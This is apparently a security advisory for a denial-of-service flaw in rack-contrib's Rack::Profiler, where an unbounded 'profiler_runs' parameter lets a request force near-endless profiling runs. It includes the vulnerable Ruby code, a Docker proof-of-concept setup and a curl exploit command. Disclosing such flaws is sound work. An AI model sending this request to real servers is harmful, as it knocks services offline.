The next ruby code is vulnerable to denial of service due to the fact that the user controlled data profiler_runs
was not contrained to any limitation. Which would lead to allocating resources on the server side with no limitation (CWE-770).
runs = (request.params['profiler_runs'] || @times).to_i
result = @profile.profile do
runs.times { @app.call(env) }
end
An exploit as such curl --fail "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time"
may cause resource exhaution by a remotely controlled value.
Herein the config.ru
file:
require 'rack'
require 'rack/contrib'
use Rack::Profiler # if ENV['RACK_ENV'] == 'development'
# Define a Rack application
app = lambda do |env|
# Your application logic goes here
[200, {}, ["Hello World"]]
end
# Run the Rack application
run app
A Dockerfile:
# Use the official Ruby image as a base
FROM ruby:latest
# Set the working directory inside the container
WORKDIR /app
# Copy the custom config.ru file into the container
COPY config.ru .
COPY Gemfile .
# Install rack and the gems needed to run the app
RUN bundle install
# Expose the port that rackup will listen on
EXPOSE 9292
# Run rackup when the container starts
ENTRYPOINT ["rackup","--host","0.0.0.0","--port","9292"]
# Health check
HEALTHCHECK --interval=3s --timeout=10s --start-period=2s --retries=3 CMD curl --fail http://localhost:9292/ || exit 1
A Gemfile
source 'https://rubygems.org'
gem 'rack', '~> 2.0'
gem 'rack-contrib', '~> 2.4'
gem 'rackup'
gem 'ruby-prof'
A Docker compose
services:
app:
build:
context: .
ports:
- "9292:9292"
To run the PoC
docker compose up --build
To exploit DoS:
curl "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time"
{ "nvd_published_at": "2024-05-27T17:15:09Z", "cwe_ids": [ "CWE-770" ], "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2024-05-28T15:48:43Z" }